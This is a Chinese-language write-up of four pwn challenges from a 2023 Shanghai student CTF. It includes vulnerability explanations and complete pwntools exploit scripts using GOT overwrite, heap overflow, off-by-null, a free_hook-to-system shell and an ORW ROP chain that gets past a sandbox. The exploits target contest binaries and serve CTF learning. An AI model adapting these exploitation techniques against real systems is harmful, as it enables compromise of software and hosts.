2023-第八届上海市大学生网络安全大赛 暨“磐石行动” pwn wp

pwn wp

Change_addr

在这里插入图片描述
32位程序,仅开启了NX保护。
在这里插入图片描述
任意地址写4个字节。
在这里插入图片描述
在这里插入图片描述
getflag注册了一个信号量,触发段错误时打印出flag。

可以想到,写puts的got表为getflag后门函数,同时需要将input[0]写为非法地址。

#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './ChangeAddr'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
    p = process(fn)

else:
    p = remote('116.236.144.37', 23458)
    

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass
    
lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

puts_got = elf.got['puts']
getflag = 0x0804932c

p.recvuntil('Where would you like to write?')
p.sendline(hex(puts_got))

p.recvuntil('What value would you like to write')
p.sendline(hex(getflag))

p.recvuntil('lead to a special segment fault!')
p.send('a' * 0x100)

p.interactive()

KeyBox

在这里插入图片描述
标准的菜单堆题。仅开启了NX保护,且存在后门函数。经过测试,远程为libc版本为2.23。
需要绕过一个判断
在这里插入图片描述
这里输入 -9223372036854775796,即0x800000000000003C可绕过判断。
在这里插入图片描述
Change函数存在任意长度的堆溢出。

可以借鉴 house of spirit 的思路,伪造一个大小为0x7f的chunk。分配到该fake_chunk,控制堆块数组,即可得到任意地址写。覆盖malloc_got表为getflag。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './KeyBox'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)
else:
    p = remote('116.236.144.37', 21396)

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass

lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

    
def menu(index):
    p.sendlineafter('Your choice:', str(index))


def add(size, content='l1s00t'):
    menu(2)
    p.sendlineafter('length of the item:', str(size))
    p.sendafter('the name of item:', content)


def show():
    menu(1)


def edit(index, size, content):
    menu(3)
    p.sendlineafter('the index of item:', str(index))
    p.sendlineafter('the length of item:', str(size))
    p.sendlineafter('new name of the item:', content)


def delete(index):
    menu(4)
    p.sendlineafter('the index of item:', str(index))


fake_chunk = 0x4040C0 - 0x8
backdoor = 0x401765
malloc_got = elf.got['malloc']

p.sendlineafter('first key: ', str(-9223372036854775796))
p.sendlineafter('second key: ', str(1))


add(0x7f)  # 0
add(0x60)  # 1
add(0x60)  # 2
add(0x60)  # 3

delete(2)
delete(1)

payload = b'a' * 0x80 + p64(0) + p64(0x71) + p64(fake_chunk)
edit(0, 0xa0, payload)

add(0x60)   # 1
add(0x60, p64(malloc_got))

edit(0, 0x20, p64(backdoor))

menu(2)
p.sendlineafter('length of the item:', '32')

p.interactive()

ssql

在这里插入图片描述
题目实现了一个简单的sql函数功能,实现了基本的增删改查功能。维护了3个基本结构体。
结构体如下所示,

struct mysql
{
    
    
  char *v1;
  char *v2;
  table *table;
  char *v4;
  char *v5;
};

struct table
{
    
    
  char table_name[16];
  table *next;
  table *prev;
  column *column;
};

struct column
{
    
    
  char column_name[16];
  column *next;
  column *prev;
  char *content;
};

在这里插入图片描述
delete函数删除数据表时,并未清空ptr,可以泄露libc地址。
在这里插入图片描述
edit函数可以溢出一个字节,存在off-by-null漏洞。刚好可以覆盖next指针最后一个字节。

基本思路就是,结合delete与show泄露libc地址。伪造一个column,同时利用溢出的字节,使column->next指向伪造的column项,即可得到任意地址写。覆盖free_hook为system,即可获取shell。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
    p = process(fn)
else:
    p = remote('116.236.144.37', 24166)


def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass

lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')

def menu(content):
    p.sendafter('mysql > ', content)


def create_table(table_name):
    menu('CREATE TABLE ' + table_name)


def create_column(table_name, column_name):
    menu('CREATE ' + column_name + ' FROM ' + table_name)


def delete_table(table_name):
    menu('DELETE TABLE ' + table_name)


def delete_column(table_name, column_name):
    menu('DELETE ' + column_name + ' FROM ' + table_name)


def show_table(table_name):
    menu('SHOW TABLE ' + table_name)


def edit_column(table_name, column_name, name, content):
    menu('EDIT ' + column_name + ' FROM ' + table_name)
    p.sendafter('Column name:', name)
    p.sendafter('Column Content: ', content)


create_table('t0')
create_table('t1')
create_table('t2')
create_table('t3')


for i in range(10):
    create_column('t0', f'c{
      
      i}')

delete_table('t0')
create_table('t0')

for i in range(7):
    create_column('t0', f'c{
      
      6 - i}')

create_column('t1', 'c0')
show_table('t1')

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x1ece50
lg('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

create_column('t1', 'c2')
create_column('t1', 'c3')

for i in range(4):
    create_column('t2', f'c{
      
      i}')

payload = b'a' * 0xc0 + b'flag'.ljust(0x10, b'\x00') + p64(free_hook - 8) * 3
edit_column('t2', 'c0', 'a' * 0x10, payload)

edit_column('t2', 'flag', 'flag', b'/bin/sh\x00' + p64(system))

delete_column('t2', 'flag')


p.interactive()

在这里插入图片描述

hp

这个题比赛的时候没解出来,赛后出了。
在这里插入图片描述
在这里插入图片描述

保护全开,开了沙盒。禁用了execve与open。
说实话,对于我来说这道题还是比较难逆的。
关键结构在sub_214E函数,逆向该函数可以得到输入格式。

然后在每一个操作函数,即增删改查函数,都是先查找输入头中对应的项,匹配上了,再进行下一步操作。

扫描二维码关注公众号,回复: 15999542 查看本文章

需要先绕过登录函数的判断
在这里插入图片描述
这里对于密码的判断是不可能绕过去的,一个字符串不可能等于又不等于另一个字符串。但是我们注意到,Username并未对长度进行检测,使得我们可以溢出到dword_5280,从而绕过判断。

漏洞点就是,edit函数存在off-by-null漏洞。
在这里插入图片描述
至此,就比较容易了。需要注意的是,长度是通过strlen函数得到的,需要绕过\x00判断。我们可以采取从后向前的方法输入,同时利用溢出的空字节修复需要覆盖的字段高位。
大致思路为,覆盖free_hooksetcontext + 53,调用read,读取内容到__free_hook + 0x10的位置,再栈迁移到该位置上实现ORW。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)
else:
    p = remote()


def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass


lg = lambda x, y: log.success(f'{
      
      x}: {
      
      hex(y)}')


def menu(content):
    p.sendafter('parser> ', content)


def login(username, password):
    header = f'''POST /login HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 0
Username: {
      
      username}
Password: {
      
      password}
\n
'''
    menu(header)


def create(length):
    header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: {
      
      length}\n\n
'''
    payload = header + 'a' * length

    menu(payload)


def show(index):
    header = f'''POST /show HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {
      
      index}
Content-Length: 0\n\n
'''
    payload = header

    menu(payload)


def edit(idx, content, length=0):
    header = b'''POST /edit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
'''

    payload = header
    payload += b'Idx: ' + str(idx).encode() + b'\n'
    if not length:
        payload += b'Content-Length: ' + str(len(content)).encode() + b'\n\n\n'
    else:
        payload += b'Content-Length: ' + str(length).encode() + b'\n\n\n'

    payload += content

    menu(payload)


def delete(index):
    header = f'''POST /delete HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {
      
      index}
Content-Length: 0\n\n
'''
    payload = header

    menu(payload)


login('a' * 0x20 + '\x01', 'Password')


for i in range(7):
    create(0xf0)

create(0xf8)    # 7
create(0xf8)    # 8
create(0xb0)    # 9
create(0xb0)    # 10
create(0xb0)    # 11
create(0x18)    # 12
create(0x4f8)   # 13
create(0xb0)    # 14

for i in range(7):
    delete(i)

delete(8)

edit(12, b'a' * 0x18)
edit(12, b'a' * 0x17)
edit(12, b'a' * 0x16)
edit(12, b'a' * 0x15)
edit(12, b'a' * 0x14)
edit(12, b'a' * 0x13)
edit(12, b'a' * 0x12)

edit(12, b'a' * 0x10 + p64(0x460), 0x12)

delete(14)

delete(7)
delete(13)
create(0x1f0)   # 0

show(9)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x3ebca0
lg('libc_base', libc_base)

__free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext']
system = libc_base + libc.sym['system']

pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret= libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
syscall_ret = libc_base + 0x00000000000d2625

delete(10)

create(0xe0)    # 1

payload = b'a' * 0xc0 + p64(__free_hook)
edit(1, payload, 0xc6)

edit(1, b'a' * 0xbf)
edit(1, b'a' * 0xbe)
edit(1, b'a' * 0xbd)
edit(1, b'a' * 0xbc)
edit(1, b'a' * 0xbb)
edit(1, b'a' * 0xba)
edit(1, b'a' * 0xb9)
edit(1, b'a' * 0xb8 + p64(0xc1), 0xb8 + 1)

create(0xb8)    # 2
create(0xb0)    # 3

edit(3, p64(setcontext + 53), 6)


payload = b'a' * 0xb0 + p64(__free_hook + 0x10)
edit(2, payload, 0xb0 + 6)

edit(2, b'a' * 0xaf)
edit(2, b'a' * 0xae)
edit(2, b'a' * 0xa8 + p64(syscall_ret), 0xa8 + 6)   # rcx

edit(2, b'a' * 0xa7)
edit(2, b'a' * 0xa6)
edit(2, b'a' * 0xa0 + p64(__free_hook + 0x10 + 0x10), 0xa0 + 6)  # rsp

edit(2, b'a' * 0x8f)
edit(2, b'a' * 0x8e)
edit(2, b'a' * 0x8d)
edit(2, b'a' * 0x8c)
edit(2, b'a' * 0x8b)
edit(2, b'a' * 0x88 + p64(0x120), 0x88 + 2)     # rdx

edit(2, b'a' * 0x77)
edit(2, b'a' * 0x76)
edit(2, b'a' * 0x70 + p64(__free_hook + 0x10), 0x70 + 6)    # rsi

edit(2, b'a' * 0x6f)
edit(2, b'a' * 0x6e)
edit(2, b'a' * 0x6d)
edit(2, b'a' * 0x6c)
edit(2, b'a' * 0x6b)
edit(2, b'a' * 0x6a)
edit(2, b'a' * 0x69)
edit(2, b'a' * 0x68)

delete(2)

# pause()
sleep(2)

flag_addr = __free_hook + 0x10
data = __free_hook + 0x100
rop_data = [
    pop_rax_ret,  # sys_open('flag', 0)
    257,
    pop_rdi_ret,
    0,
    pop_rsi_ret,
    flag_addr,
    pop_rdx_ret,
    0,
    syscall_ret,

    pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret,

    pop_rax_ret,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    data,
    pop_rdx_ret,
    0x40,
    syscall_ret
]
payload = b'/flag'.ljust(0x10, b'\x00') + flat(rop_data)
p.send(payload)

p.interactive()

在这里插入图片描述
注意,这里默认flag在根目录下。

猜你喜欢

转载自blog.csdn.net/weixin_51480590/article/details/130802797